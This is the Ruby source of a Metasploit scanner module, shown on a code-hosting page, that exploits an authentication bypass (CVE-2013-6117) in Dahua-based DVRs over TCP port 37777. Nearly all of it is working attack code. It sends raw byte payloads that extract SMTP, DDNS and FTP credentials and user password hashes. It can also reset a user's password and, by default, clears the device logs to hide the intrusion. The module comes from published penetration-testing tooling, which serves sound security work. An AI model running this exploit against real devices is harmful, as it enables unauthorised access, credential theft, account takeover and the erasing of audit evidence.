Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::Report910def initialize11super(12'Name' => %q(Dahua DVR Auth Bypass Scanner),13'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),14'Author' => [15'Tyler Bennett - Talos Consulting', # Metasploit module16'Jake Reynolds - Depth Security', # Vulnerability Discoverer17'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module18'Nathan McBride' # regex extraordinaire19],20'References' => [21[ 'CVE', '2013-6117' ],22[ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]23],24'License' => MSF_LICENSE,25'DefaultAction' => 'VERSION',26'Actions' =>27[28[ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],29[ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],30[ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],31[ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],32[ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],33[ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],34[ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],35[ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],36[ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]37]38)3940register_options([41OptString.new('USERNAME', [false, 'A username to reset', '888888']),42OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),43OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),44Opt::RPORT(37777)45])46end4748U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \49"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"50DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"51# Payload to grab version of the DVR52VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \53"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"54# Payload to grab Email Settings of the DVR55EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \56"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"57# Payload to grab DDNS Settings of the DVR58DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \59"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"60# Payload to grab NAS Settings of the DVR61NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \62"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"63# Payload to grab the Channels that each camera is assigned to on the DVR64CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \65"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \66"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \67"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"68# Payload to grab the Users Groups of the DVR69GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \70"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"71# Payload to grab the Users and their hashes from the DVR72USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \73"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"74# Payload to grab the Serial Number of the DVR75SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \76"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"77# Payload to clear the logs of the DVR78CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \79"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"80CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \81"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"8283def setup84@password = datastore['PASSWORD']85@password ||= Rex::Text.rand_text_alpha(6)86end8788def grab_version89connect90sock.put(VERSION)91data = sock.get_once92return unless data =~ /[\x00]{8,}([[:print:]]+)/93ver = Regexp.last_match[1]94print_good("#{peer} -- version: #{ver}")95end9697def grab_serial98connect99sock.put(SN)100data = sock.get_once101return unless data =~ /[\x00]{8,}([[:print:]]+)/102serial = Regexp.last_match[1]103print_good("#{peer} -- serial number: #{serial}")104end105106def grab_email107connect108sock.put(EMAIL)109return unless (response = sock.get_once)110data = response.split('&&')111print_good("#{peer} -- Email Settings:")112return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i113if mailhost = Regexp.last_match[1].split(':')114print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank?115print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank?116print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank?117mailserver = "#{mailhost[0]}"118mailport = "#{mailhost[1]}"119muser = "#{data[5]}"120mpass = "#{data[6]}"121end122return if muser.blank? && mpass.blank?123print_good(" SMTP User: #{data[5]}")124print_good(" SMTP Password: #{data[6]}")125return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?126report_email_cred(mailserver, mailport, muser, mpass)127end128129def grab_ddns130connect131sock.put(DDNS)132return unless (response = sock.get_once)133data = response.split(/&&[0-1]&&/)134ddns_table = Rex::Text::Table.new(135'Header' => 'Dahua DDNS Settings',136'Indent' => 1,137'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']138)139data.each_with_index do |val, index|140next if index == 0141val = val.split("&&")142ddns_service = val[0]143ddns_server = val[1]144ddns_port = val[2]145ddns_domain = val[3]146ddns_user = val[4]147ddns_pass = val[5]148ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]149unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?150if datastore['VERBOSE']151ddns_table.print152end153report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)154end155end156end157158def grab_nas159connect160sock.put(NAS)161return unless (data = sock.get_once)162print_good("#{peer} -- NAS Settings:")163server = ''164port = ''165if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/166server = Regexp.last_match[1].unpack('C*').join('.')167port = Regexp.last_match[2].unpack('S')168end169if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data170ftpuser.strip!171ftppass.strip!172unless ftpuser.blank? || ftppass.blank?173print_good("#{peer} -- NAS Server: #{server}")174print_good("#{peer} -- NAS Port: #{port}")175print_good("#{peer} -- FTP User: #{ftpuser}")176print_good("#{peer} -- FTP Pass: #{ftppass}")177report_creds(178host: server,179port: port,180user: ftpuser,181pass: ftppass,182type: "FTP",183active: true)184end185end186end187188def grab_channels189connect190sock.put(CHANNELS)191data = sock.get_once.split('&&')192channels_table = Rex::Text::Table.new(193'Header' => 'Dahua Camera Channels',194'Indent' => 1,195'Columns' => ['ID', 'Peer', 'Channels']196)197return unless data.length > 1198data.each_with_index do |val, index|199number = index.to_s200channels = val[/([[:print:]]+)/]201channels_table << [ number, peer, channels ]202end203channels_table.print204end205206def grab_users207connect208sock.put(USERS)209return unless (response = sock.get_once)210data = response.split('&&')211usercount = 0212users_table = Rex::Text::Table.new(213'Header' => 'Dahua Users Hashes and Rights',214'Indent' => 1,215'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']216)217data.each do |val|218usercount += 1219user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures220users_table << [ peer, user, md5hash, groups, rights, name]221# Write the dahua hash to the database222hash = "#{rhost} #{user}:$dahua$#{md5hash}"223report_hash(rhost, rport, user, hash)224# Write the vulnerability to the database225report_vuln(226host: rhost,227port: rport,228proto: 'tcp',229sname: 'dvr',230name: 'Dahua Authentication Password Hash Exposure',231info: "Obtained password hash for user #{user}: #{md5hash}",232refs: references233)234end235users_table.print236end237238def grab_groups239connect240sock.put(GROUPS)241return unless (response = sock.get_once)242data = response.split('&&')243groups_table = Rex::Text::Table.new(244'Header' => 'Dahua groups',245'Indent' => 1,246'Columns' => ['ID', 'Peer', 'Group']247)248data.each do |val|249number = "#{val[/(([\d]+))/]}"250groups = "#{val[/(([a-z]+))/]}"251groups_table << [ number, peer, groups ]252end253groups_table.print254end255256def reset_user257connect258userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password259u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \260"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"261u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \262"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"263u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \264"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring265sock.put(u1)266sock.put(u2)267sock.put(u3)268sock.get_once269sock.put(u1)270return unless sock.get_once271print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")272end273274def clear_logs275connect276sock.put(CLEAR_LOGS1)277sock.put(CLEAR_LOGS2)278print_good("#{peer} -- logs cleared")279end280281def peer282"#{rhost}:#{rport}"283end284285def run_host(_ip)286begin287connect288sock.put(U1)289data = sock.recv(8)290disconnect291return unless data == DVR_RESP292print_good("#{peer} -- Dahua-based DVR found")293report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")294295case action.name.upcase296when 'CHANNEL'297grab_channels298when 'DDNS'299grab_ddns300when 'EMAIL'301grab_email302when 'GROUP'303grab_groups304when 'NAS'305grab_nas306when 'RESET'307reset_user308when 'SERIAL'309grab_serial310when 'USER'311grab_users312when 'VERSION'313grab_version314end315316clear_logs if datastore['CLEAR_LOGS']317ensure318disconnect319end320end321322def report_hash(rhost, rport, user, hash)323service_data = {324address: rhost,325port: rport,326service_name: 'dahua_dvr',327protocol: 'tcp',328workspace_id: myworkspace_id329}330331credential_data = {332module_fullname: fullname,333origin_type: :service,334private_data: hash,335private_type: :nonreplayable_hash,336jtr_format: 'dahua_hash',337username: user338}.merge(service_data)339340login_data = {341core: create_credential(credential_data),342status: Metasploit::Model::Login::Status::UNTRIED343}.merge(service_data)344345create_credential_login(login_data)346end347348def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)349service_data = {350address: ddns_server,351port: ddns_port,352service_name: 'ddns settings',353protocol: 'tcp',354workspace_id: myworkspace_id355}356357credential_data = {358module_fullname: fullname,359origin_type: :service,360private_data: ddns_pass,361private_type: :password,362username: ddns_user363}.merge(service_data)364365login_data = {366core: create_credential(credential_data),367status: Metasploit::Model::Login::Status::UNTRIED368}.merge(service_data)369370create_credential_login(login_data)371end372373def report_email_cred(mailserver, mailport, muser, mpass)374service_data = {375address: mailserver,376port: mailport,377service_name: 'email settings',378protocol: 'tcp',379workspace_id: myworkspace_id380}381382credential_data = {383module_fullname: fullname,384origin_type: :service,385private_data: mpass,386private_type: :password,387username: muser388}.merge(service_data)389390login_data = {391core: create_credential(credential_data),392status: Metasploit::Model::Login::Status::UNTRIED393}.merge(service_data)394395create_credential_login(login_data)396end397end398399400